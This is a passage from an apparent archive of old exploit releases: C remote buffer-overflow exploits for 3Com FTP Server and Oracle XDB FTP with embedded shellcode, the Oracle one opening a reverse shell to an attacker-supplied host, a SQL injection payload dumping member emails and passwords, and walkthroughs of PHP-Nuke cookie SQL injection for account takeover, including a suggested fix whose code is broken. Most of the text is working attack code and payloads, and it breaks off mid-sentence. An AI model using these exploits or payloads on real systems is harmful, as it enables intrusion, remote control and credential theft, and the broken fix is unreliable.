"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
unsigned char *recvbuf,*user,*pass;
unsigned int rc,addr,sock,rc2 ;
struct sockaddr_in tcp;
struct hostent *hp;
WSADATA wsaData;
char buffer[size];
unsigned short port;
char *ptr;
long *addr_ptr;
int NOP_LEN = 200,i,x=0,f = 200;
if(argc < 5) {
printf("\n-------- 3Com Ftp Server remote exploit by c0d3r --------\n");
printf("-------- usage : 3com.exe host port user pass --------\n");
printf("-------- eg: 3com.exe 127.0.0.1 21 c0d3r secret --------\n\n");
exit(-1) ;
}
printf("\n-------- 3Com Ftp Server remote exploit by c0d3r --------\n\n");
recvbuf = malloc(256);
memset(recvbuf,0,256);
//Creating exploit code
printf("[*] building overflow string");
memset(buffer,0,size);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0;i < size;i+=4){
*(addr_ptr++) = address;
}
buffer[0] = 'C';buffer[1] = 'D';buffer[2] = ' ';
for(i = 3;i != 235;i++){
buffer[i] = 0x90;
}
i = 239;
for(x = 0;x != strlen(shellc0de);x++,i++){
buffer[i] = shellc0de[x];
}
buffer[size] = 0;
//EO exploit code
user = malloc(256);
memset(user,0,256);
pass = malloc(256);
memset(pass,0,256);
sprintf(user,"user %s\r\n",argv[3]);
sprintf(pass,"pass %s\r\n",argv[4]);
if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0){
printf("[-] WSAStartup failed !\n");
exit(-1);
}
hp = gethostbyname(argv[1]);
if (!hp){
addr = inet_addr(argv[1]);
}
if ((!hp) && (addr == INADDR_NONE) ){
printf("[-] unable to resolve %s\n",argv[1]);
exit(-1);
}
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (!sock){
printf("[-] socket() error...\n");
exit(-1);
}
if (hp != NULL)
memcpy(&(tcp.sin_addr),hp->h_addr,hp->h_length);
else
tcp.sin_addr.s_addr = addr;
if (hp)
tcp.sin_family = hp->h_addrtype;
else
tcp.sin_family = AF_INET;
port=atoi(argv[2]);
tcp.sin_port=htons(port);
printf("\n[*] attacking host %s\n" , argv[1]) ;
Sleep(1000);
printf("[*] packet size = %d byte\n" , sizeof(buffer));
rc=connect(sock, (struct sockaddr *) &tcp, sizeof (struct sockaddr_in));
if(rc==0)
{
Sleep(1000) ;
printf("[*] connected\n") ;
rc2=recv(sock,recvbuf,256,0);
printf("[*] sending username\n");
send(sock,user,strlen(user),0);
send(sock,'\n',1,0);
printf("[*] sending password\n");
Sleep(1000);
send(sock,pass,strlen(pass),0);
send(sock,buffer,strlen(buffer),0);
send(sock,'\n',1,0);
printf("[*] exploit sent successfully try nc %s 4444\n" , argv[1]);
}
else {
printf("[-] 3CDaemon is not listening .... \n");
}
shutdown(sock,1);
closesocket(sock);
}
// milw0rm.com [2005-02-17]
David Litchfield/Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit ( windows)
/* Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit */
/* David Litchfield from ngssoftware (at Blackhat 2003) */
/* */
/* Original Advisory : */
/* http://www.blackhat.com/presentations/bh-usa-03/bh- */
/* us-03-litchfield-paper.pdf */
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
int GainControlOfOracle(char *, char *);
int StartWinsock(void);
int SetUpExploit(char *,int);
struct sockaddr_in s_sa;
struct hostent *he;
unsigned int addr;
char host[260]="";
unsigned char exploit[508]=
"\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF"
"\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50"
"\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C"
"\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89"
"\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xB1\x4E\xB2\xFF\x30\x13"
"\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC"
"\x83\xC3\x10\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C"
"\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89"
"\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83"
"\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xC3\x08\x89"
"\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33"
"\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x45\xD0\xBF\x0A"
"\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xFF\x66"
"\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45"
"\xE0\x6A\x10\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0"
"\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84"
"\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57"
"\x8D\xBD\x58\xFF\xFF\xFF\x57\x33\xC0\x50\x50\x50\x83\xC0\x01\x50"
"\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8"
"\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\x0C\x8B\x70\x1C\xAD"
"\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03"
"\x42\x78\x03\x58\x1C\x51\x6A\x1F\x59\x41\x03\x34\x08\x59\x03\x48"
"\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x47\x65\x74\x50\x74\x08\x83"
"\xC6\x04\x83\xC1\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41"
"\x74\x08\x83\xC6\x04\x83\xC1\x02\xEB\xD9\x8B\xFA\x0F\xB7\x01\x03"
"\x3C\x83\x89\x7C\x24\x44\x8B\x3C\x24\x89\x7C\x24\x4C\x5F\x61\xC3"
"\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C"
"\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8"
"\x8C\xCD\xA0\xCC\xCD\xD1\x9B\x93\x93\xFF\xFF\xA8\xAC\xBE\xAC\x8B"
"\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBE\xAC\x90\x9C\x94\x9A\x8B"
"\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF"
"\xFF\xFF\xFF\xFF";
char exploit_code[8000]=
"UNLOCK / aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnn"
"nooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAAAABBBBCCCCD"
"DDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS
T"
"TTTUUUUVVVVWWWWXXXXYYYYZZZZabcdefghijklmnopqrstuvwxyzABCDEFGHIJK"
"LMNOPQRSTUVWXYZ0000999988887777666655554444333322221111098765432"
"1aaaabbbbcc";
char exception_handler[8]="\x79\x9B\xf7\x77";
char short_jump[8]="\xEB\x06\x90\x90";
int main(int argc, char *argv[])
{
if(argc != 6)
{
printf("\n\n\tOracle XDB FTP Service UNLOCK Buffer Overflow Exploit");
printf("\n\t\tfor Blackhat (http://www.blackhat.com)");
printf("\n\n\tSpawns a reverse shell to specified port");
printf("\n\n\tUsage:\t%s host userid password ipaddress port",argv[0]);
printf("\n\n\tDavid Litchfield\n\t(david@ngssoftware.com)");
printf("\n\t6th July 2003\n\n\n");
return 0;
}
strncpy(host,argv[1],250);
if(StartWinsock()==0)
return printf("Error starting Winsock.\n");
SetUpExploit(argv[4],atoi(argv[5]));
strcat(exploit_code,short_jump);
strcat(exploit_code,exception_handler);
strcat(exploit_code,exploit);
strcat(exploit_code,"\r\n");
GainControlOfOracle(argv[2],argv[3]);
return 0;
}
int SetUpExploit(char *myip, int myport)
{
unsigned int ip=0;
unsigned short prt=0;
char *ipt="";
char *prtt="";
ip = inet_addr(myip);
ipt = (char*)&ip;
exploit[191]=ipt[0];
exploit[192]=ipt[1];
exploit[193]=ipt[2];
exploit[194]=ipt[3];
// set the TCP port to connect on
// netcat should be listening on this port
// e.g. nc -l -p 80
prt = htons((unsigned short)myport);
prt = prt ^ 0xFFFF;
prtt = (char *) &prt;
exploit[209]=prtt[0];
exploit[210]=prtt[1];
return 0;
}
int StartWinsock() {
int err=0; WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD( 2, 0 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
return 0;
if ( LOBYTE( wsaData.wVersion ) != 2 || HIBYTE( wsaData.wVersion ) != 0 )
{ WSACleanup( );
return 0; }
if (isalpha(host[0])) {
he = gethostbyname(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,he->h_addr,he->h_length);
} else
{ addr = inet_addr(host);
s_sa.sin_addr.s_addr=INADDR_ANY;
s_sa.sin_family=AF_INET;
memcpy(&s_sa.sin_addr,&addr,4);
he = (struct hostent *)1;
}
if (he == NULL) {
return 0; }
return 1; }
int GainControlOfOracle(char *user, char *pass) {
char usercmd[260]="user ";
char passcmd[260]="pass ";
char resp[1600]="";
int snd=0,rcv=0;
struct sockaddr_in r_addr;
SOCKET sock;
strncat(usercmd,user,230);
strcat(usercmd,"\r\n");
strncat(passcmd,pass,230);
strcat(passcmd,"\r\n");
sock=socket(AF_INET,SOCK_STREAM,0);
if (sock==INVALID_SOCKET)
return printf(" sock error");
r_addr.sin_family=AF_INET; r_addr.sin_addr.s_addr=INADDR_ANY;
r_addr.sin_port=htons((unsigned short)0);
s_sa.sin_port=htons((unsigned short)2100);
if (connect(sock,(LPSOCKADDR)&s_sa,sizeof(s_sa))==SOCKET_ERROR) return printf("Connect error");
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
ZeroMemory(resp,1600);
snd=send(sock, usercmd , strlen(usercmd) , 0);
rcv = recv(sock,resp,1500,0);
printf("%s",resp); ZeroMemory(resp,1600);
snd=send(sock, passcmd , strlen(passcmd) , 0);
rcv = recv(sock,resp,1500,0);
printf("%s",resp);
if(resp[0]=='5')
{ closesocket(sock);
return printf("Failed to log in using user %s and password %s.\n",user,pass);
}
ZeroMemory(resp,1600);
snd=send(sock, exploit_code, strlen(exploit_code) , 0);
Sleep(2000);
closesocket(sock);
return 0;
}
// milw0rm.com [2003-08-13]
IRCRASH/fapersianpetition-sql.txt ( na)
##################################################################################### #### FaScript FaPersian Petition Remote Sql Injection #### #### BY IRCRASH #### ##################################################################################### # # #AUTHOR : IRCRASH (Dr.Crash) # # # #Script Download : http://fascript.com/fapersianpetition.zip # # # #Injection Adress : http://Sitename/fp/show.php?id=<SqL Code> # # # # # #SQL For find Username and password : 999999'%20union/**/select/**/0,1,2,3,4,5,6,concat(0x3c62723e200d0a4c6f67696e3a,email,0x3c62723e200d0a50617373776f72643a,password),8,9,10,11/**/from/**/member/* # # # Our site : HTTP://IRCRASH.COM # # # #####################################################################################
FaScript FaPersianHack Petition suffers from a remote SQL injection vulnerability in show.php.
Max/SA2K01.txt ( na)
-----/ SA2K01 /-------------------------------/ SecurityApex.com /----
A quick fix against RFP2101
------------------------------------/ Max / Max@Wackowoh.com
Table of contents:
-/ 1 / Information on the exploit
-/ 2 / Fix for the exploit
-/ 3 / Credits
--------------------------------------------------------------------------
Note: This was only tested on PHP-Nuke 4.4 but SHOULD work on PHP-Nuke 4.3
--------------------------------------------------------------------------
-/ 1 / Information on the exploit /------------------------------------
Recently Rain Forest Puppy released his advisory RFP2101 which contains
exploits to steal usernames of users on a PHP-Nuke based site and to get
passwords from the admins who run a PHP-Nuke site. This is a fix for the
exploit to steal usernames. What the sploit does is exploit this code in
every script:
if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
So as you can see in the second line of that code your need an $sid and
a $tid variable, which can both just be set to 0. But next you see, you
need a $save variable, which should be set to 1. So far we have:
index.php?save=1&sid=0&tid=0
But what can you do with that, you need a user to sploit. Say you want
to steal the user "Wang". so youd try:
index.php?save=1&sid=0&tid=0&user=Wang
but that wont do much but say your logged in as your ip, which you can
do nothing with. So next youd want to see why it does that. Notice in
the code above that it has the function cookiedecode(). The call to
cookiedecode() takes the string in $user, base64 decodes it, and then
splits it into parts around the ':' character, putting it into the
array $cookie[]. This makes sense, since the above SQL query is using
$cookie[0], the first element of the array. As seen here:
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
$cookie = explode(":", $user);
$result = mysql_query("select uid from users where
uname='$cookie[1]'");
if (!mysql_num_rows($result)) {
unset($user);
unset($cookie);
}
return $cookie;
}
Also, it calls the function getusrinfo():
function getusrinfo($user) {
global $userinfo;
$user2 = base64_decode($user);
$user3 = explode(":", $user2);
$result = mysql_query("select uid, name, uname, email, femail,
url, user_avatar, user_icq, user_occ, user_from, user_intrest,
user_sig, user_viewemail, user_theme, user_aim, user_yim,
user_msnm, pass, storynum, umode, uorder, thold, noscore, bio,
ublockon, ublock, theme, commentmax from users where
uname='$user3[1]' and pass='$user3[2]'");
if(mysql_num_rows($result)==1) {
$userinfo = mysql_fetch_array($result);
} else {
echo "<b>".translate("A problem ocurred.")."</b><br>";
}
return $userinfo;
}
Which if you look cantains the pass variable. If you want to read more
on this then read RFP2101. But the basic idea is to tamper with the user
variable to see if you can use an account WITHOUT the password. Like:
index.php?save=1&sid=0&tid=0&user=1:Wang:blah' or uname='Wang
But there is 1 big problem, PHP has built in ways to escape SQL hacking.
It adds a / to every ' and the only way to remove it is to user the
function stripslashes() which nuke does not. But, if you look. it needs
to Base64 decode the user variable, and it shouldnt add a / to the ' if
it was encoded in the url, so lets do that. We encode:
1:Wang:blah' or uname='Wang
An easy way to do this in PHP is:
echo base64_encode("1:Wang:blah' or uname='Wang");
And what we come up with is:
MTpXYW5nOmJsYWgnIG9yIHVuYW1lPSdXYW5n
So we try:
index.php?save=1&sid=0&tid=0&user=MTpXYW5nOmJsYWgnIG9yIHVuYW1lPSdXYW5n
And as you can see, it works. Where the biggest problem is, is a user
doing this:
/user.php?save=1&sid=0&tid=0&user=MTpXYW5nOmJsYWgnIG9yIHVuYW1lPSdXYW5n
&email=NEWEMAIL&pass=NEWPASS&vpass=NEWPASSAGAIN&uid=1
&op=saveuser
Which will change the users password AND the email so the user cant get
their pass back. Ending up in a stolen account.
-/ 2 / Fix for the exploit /------------------------------------
Well when the $user cariable is decoded it MUST have a ' in it, what if
we recreate the built in PHP anti SQL hacking precedures. Normally we
can use the AddSlashes() function, but for some odd reason that doesnt
work. So why not jsut manually add the slashes? Easy, we can do that
but when that happens, for some reason NO user can log in. Every will
seem to be logged in as their IP, so why not only do that if there is a
' in the string after you decode it. And that is how this fix works.
function MaxSlashes($string){
$string = ereg_replace("'", "\"", $string);
}
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
if(StrStr($user, "'")) {
$user = MaxSlashes($user);
$cookie = explode(":", $user);
$result = mysql_query("select uid from users
where uname='$cookie[1]'");
if (!mysql_num_rows($result)) {
unset($user);
unset($cookie);
}
return $cookie;
} else {
$cookie = explode(":", $user);
$result = mysql_query("select uid from users
where uname='$cookie[1]'");
if (!mysql_num_rows($result)) {
unset($user);
unset($cookie);
}
return $cookie;
}
}
If you dont already know, to implement this goto mainfile.php and
replace the WHOLE cookiedecode() function with these 2 functions.
From now on users can log in just fine AND when someone tries the
exploit, it will show them logged in as their IP, which as I said
earlier, lets them do nothing bad.
-/ 3 / Credits /------------------------------------
Rain Forest Puppy | rfp@wiretrip.net | http://www.wiretrip.net/rfp/
Article Look, Quotes, Code Snippets, Quotes, RFP2101 Itself
http://www.wiretrip.net/rfp/p/doc.asp?id=60
NOBODY ELSE ;)
-----/ RFP2101 /-----------/ SecurityApex.com / Max@Wackowoh.com /----
A quick fix against RFP2101 - PHP-Nuke v4.4 and below allows users to steal accounts via sql hacking.
/icq99.passwd.txt ( na)
Date: Sun, 25 Apr 1999 22:46:02 +0400 From: delta <x-delta@USA.NET> To: BUGTRAQ@netspace.org Subject: ICQ 99 Password Hi! I find that icq 99 stored password in open text in file ICQ\NewDB\uin#.dat try open it with note pad , hit search and enter your password . Password always placed in the end of line "iUserSound" Thanx!
ICQ stores passwords in plain text? And now you know where too. Find one of the millions of people utilizing the ICQ-Webserver and you can Hacking ICQ-Webservers for Dummies file if you have problems.
rain forest puppy/RFP2101.txt ( na)
-----/ RFP2101 /-------------------------------/ rfp.labs / wiretrip/----
RFPlutonium to fuel your PHP-Nuke
SQL hacking user logins in PHP-Nuke web portal
------------------------------------/ rain forest puppy / rfp@wiretrip.net
Table of contents:
-/ 1 / Standard advisory information
-/ 2 / High and clean overview
-/ 3 / Down and dirty explanation
-/ 4 / New Year BONUS: other tricks
-/ 5 / Resolution
--------------------------------------------------------------------------
Disclaimer: no one is forcing you to read this; stop if you don't want to.
--------------------------------------------------------------------------
-/ 1 / Standard advisory information /------------------------------------
Software package: PHP-Nuke
Vendor homepage: www.phpnuke.org
Version tested: 4.3
Platforms: Platform-independent (PHP)
Vendor contacted: 12/29/2000
CVE candidate: CAN-2001-0001
Vulnerability type: Authentication weaknesses (user and admin)
RFPolicy v2: http://www.wiretrip.net/rfp/policy.html
Prior problems: Admin authentication bypass, Aug 2000
BID: 1592 CVE: CVE-2000-0745 SAC: 00.35.032
Current version: 4.4 (may still be vulnerable; not tested)
-/ 2 / High and clean overview /------------------------------------------
PHP-Nuke is a pretty groovy web portal/news system written in PHP. I was
actually so impressed with its look, and even more so by some of its
features, that I decided to use it for two upcoming projects, and like any
other piece of code I decide to use, I gave it a quick code review (via la
open source!). While I was happy with the code in general, it did exhibit
a few security problems involving tampering with SQL statements.
Rather than write a five-line text saying "PHP-Nuke is exploitable
...blah...blah", I feel it is much more advantageous, from an educational
standpoint, to walk through the process of how this vulnerability works.
Those of you who want to see more examples of SQL hacking can take a look
at RFP2K01, available at:
http://www.wiretrip.net/rfp/p/doc.asp?id=42
This is also not an extremely useful hack--it allows you to impersonate
other users and retrieve their password hashes. It also has a caveat that
could allow an attacker to easily brute force an author (admin) password.
-/ 3 / Down and dirty explanation /--------------------------------------
First off, to better aid SQL hacking, it helps to turn on SQL query
logging. In MySQL, this is a matter of adding the '-l logfile' parameter
to (safe_)mysqld when starting it.
Next, let's take a look at the code. Since this is written in PHP and
uses MySQL, our target function is mysql_query(). So let's grep for all
uses of mysql_query():
[rfp@cide nuke]# ls
admin/ config.php index.php print.php topics.php
admin.php counter.php language scroller.js ultramode.txt
article.php dhtmllib.js links.php search.php upgrades
auth.inc.php faq.php mainfile.php sections.php user.php
backend.php footer.php manual/ stats.php voteinclude.php
banners.php friend.php memberslist.php submit.php
cache/ header.php pollBooth.php themes/
comments.php images/ pollcomments.php top.php
[rfp@cide nuke]# grep mysql_query *
admin.php: $result = mysql_query("SELECT qid FROM queue");
.... 254 more lines of SQL queries that I don't want to print here ....
Now, lets take a look at those that contain variables, since its possible
user input is contained in those variables. For example, a few select
lines from that output:
article.php: mysql_query("update users set umode='$mode',
uorder='$order', thold='$thold' where uid='$cookie[0]'");
banners.php: mysql_query("delete from banner where bid=$bid");
comments.php: $something = mysql_query("$q");
user.php: $result = mysql_query("select email, pass from users where
(uname='$uname')");
index.php: mysql_query("insert into referer values (NULL, '$referer')");
The query from article.php contains four variables: $mode, $order, $thold,
and $cookie[0]. The banners.php is interesting, because it seems that the
entire query is contained within the $q variable, meaning we must look
inside the file to see what the value is. In doing that, we get:
$q = "select tid, pid, sid, date, name, email, url, host_name,
subject, comment, score, reason from comments where sid=$sid
and pid=$pid";
if($thold != "") {
$q .= " and score>=$thold";
} else {
$q .= " and score>=0";
}
if ($order==1) $q .= " order by date desc";
if ($order==2) $q .= " order by score desc";
So we see that $q used the variables $sid and $pid, and perhaps $thold, if
it's defined.
So what do we do now? Well, let's take a look at what is actually in some
of those variables. Well start with the above query listed for
article.php. Here is the actual code, with comments removed:
<?PHP
if(!isset($mainfile)) { include("mainfile.php"); }
if(!isset($sid) && !isset($tid)) { exit(); }
if($save) {
cookiedecode($user);
mysql_query("update users set umode='$mode', uorder='$order',
thold='$thold' where uid='$cookie[0]'");
getusrinfo($user);
$info = base64_encode("$userinfo[uid]:$userinfo[uname]:".
"$userinfo[pass]:$userinfo[storynum]:$userinfo[umode]:".
"$userinfo[uorder]:$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}
(Note: the code was reformatted for display in this advisory)
So we see that nothing is apparently done to $mode, $order, $thold, or
$cookie[0]. However, mainfile.php is included and something may be
happening in the cookiedecode() function, so we need to check them out.
First, let's see if mainfile.php defines the variables $mode, $order,
$thold, or $cookie:
[rfp@cide nuke]# grep \$mode mainfile.php
[rfp@cide nuke]# grep \$order mainfile.php
[rfp@cide nuke]# grep \$thold mainfile.php
[rfp@cide nuke]#
Hmm, so mainfile.php doesn't do anything with those variables. However, a
plethora of stuff is returned for $cookie (this is not shown). This is
due to cookiedecode() (and other similar functions) contained in
mainfile.php. So, here is the code to cookiedecode():
function cookiedecode($user) {
global $cookie;
$user = base64_decode($user);
$cookie = explode(":", $user);
return $cookie;
}
The call to cookiedecode() takes the string in $user, base64 decodes it,
and then splits it into parts around the ':' character, putting it into
the array $cookie[]. This makes sense, since the above SQL query is using
$cookie[0], the first element of the array.
Huh? Where does $user come from? A grep through mainfile.php shows that
$user is only used in functions.
Wow. That means the author does not do *anything* to $user (which is
decoded and split into $cookie[0]), $mode, $order, $thold. For those of
you that are not familiar with PHP, PHP will define global variables with
values taken from URL parameters. For example, a query of:
/somefile.php?varb1=rain&value2=forest&param3=puppy
will make three global variables in the script $varb1, $value2, and
$param3 with the values of 'rain', 'forest', and 'puppy', respectively.
This means that we can plug in arbitrary values for $mode, $order, and
$thold for article.php by requesting an URL that looks something like:
/article.php?mode=rain&order=forest&thold=puppy
But before we do that, there's one more piece we're forgetting, the snippet:
if($save) {
...
That means the $save variable has to be set. A quick grep through
mainfile.php shows that $save is not referenced, meaning it needs to be
included in the URL. This gives us:
/article.php?mode=rain&order=forest&thold=puppy&save=1
So let's try it. Requesting this page, nothing is returned, because I
forgot about the following line:
if(!isset($sid) && !isset($tid)) { exit(); }
Ugh, so we need to add $sid and $tid to the URL line, which is now:
/article.php?mode=rain&order=forest&thold=puppy&save=1&sid=0&tid=0
This returns a page that has an error. Looking at our mysql query logs,
there's an entry for:
1 Query update users set umode='rain', uorder='forest',
thold='puppy' where uid=''
This proves that it's working. We can now submit values into the SQL
query. We now need to see if we can *tamper* with the query. We will
attempt to rewrite the query so that it will include other SQL code.
Doing this involves some trickery: the addition of some extra single
quotes. What we'll do is change $thold to read:
puppy', thold='puppy
This should result in a query that looks like:
update users set umode='rain', uorder='forest',
thold='puppy', thold='puppy' where uid=''
^^^^^^^^^^^^^^^^^^^^
the data we submit
Sure, it's not exactly a useful SQL statement, but we're only verifying
our exploit method. So let's fire that into the URL and submit it:
/article.php?mode=rain&order=forest&thold=puppy',%20thold='puppy&
save=1&sid=0&tid=0
(Note: URL is wrapped)
This results in a mysql log of:
5 Query update users set umode='rain', uorder='forest',
thold='puppy\', thold=\'puppy' where uid=''
DRAT! It seems PHP automatically escapes the ' (it changes them into \')
when they are processed from URL parameters. Granted, I'm using PHP 4, so
perhaps PHP 3.x doesn't, but still. From the exploit angle, this sucks.
From the security angle, this rocks. But I may be overlooking
something--if anyone sees something I'm missing, drop me an email;
however, please look at the code first--thoughtful assumptions and hunches
as to why/how this is happening are nice, but my inbox is already
overflowing as it is. :)
Anyway, all is not lost. At this point, we know that global variables
being thrown into SQL statements *may* sometimes be safe (it may be PHP
version dependant). But let's go back and look at the cookiedecode()
function. It takes a global value ($user), base64 decodes it, splits it,
and puts it into the $cookie[] array. Note that $user could be in a HTTP
cookie, or it could be a URL parameter--PHP doesn't make a distinction
(well, at least this code doesn't).
Since the actual value is encoded by base64 encoding, PHP doesn't do any
escaping on the value that's encoded. Meaning whatever we put in the
$user value should be safe. Let's see.
First, we need to get the right value. Since cookiedecode() expects to
split a value with the ':' character and use the first value, we at least
need 'something:' as our value. The 'something' is our text. For now,
we'll set it to be 'www.cipherwar.com:'. Now, we need to base64 encode
it. A quick little commandline ditty:
[rfp@cide nuke]# echo -n "www.cipherwar.com:" | uuencode -m f
begin-base64 644 f
d3d3LmNpcGhlcndhci5jb206
====
This means we need to add the following to our URL:
&user=d3d3LmNpcGhlcndhci5jb206
And when I run the above URL with the extra user parameter, my mysql logs
show:
7 Query update users set umode='rain', uorder='forest',
thold='puppy' where uid='www.cipherwar.com'
Rock! Ok, now can we escape the SQL statement?
[root@cide nuke]# echo -n "www.cipherwar.com' or uid='1" |
uuencode -m f
begin-base64 644 f
d3d3LmNpcGhlcndhci5jb20nIG9yIHVpZD0nMQ==
====
Putting that in the URL and submitting it, my mysql log now shows:
3 Query update users set umode='rain', uorder='forest',
thold='puppy' where uid='www.cipherwar.com'
or uid='1'
!@$%! It worked! As we can see, our values are unmolested, allowing us to
tamper with the query. However, we're slightly limited in our
exploitation, due to a few caveats of MySQL. For those of you who are
familiar with SQL hacking, and particularly some of the tricks I've
published in the past, MySQL does not allow multiple SQL commands to be
submitted in one query. That means something like:
mysql_query("select * from table1; select * from table2");
It does not run two 'selects'--it only runs the first, and drops the
second into oblivion. However (don't lose hope), I found this tidbit on
the MySQL TODO list:
Fix `libmysql.c' to allow two mysql_query() commands in a row without
reading results or give a nice error message when one does this.
But also listed on the TODO list:
Subqueries. select id from t where grp in (select grp from g where
u > 100)
Both of which would greatly increase the SQL hacking aspect of MySQL. :)
In the meantime, that doesn't help us (unless the site rewrote PHP-Nuke to
use a different database engine, such as Postgres. But this is doubtful).
This means we have the limitation of only tampering with the query given
(i.e. we can't add a separate query). Since PHP escapes URL parameter
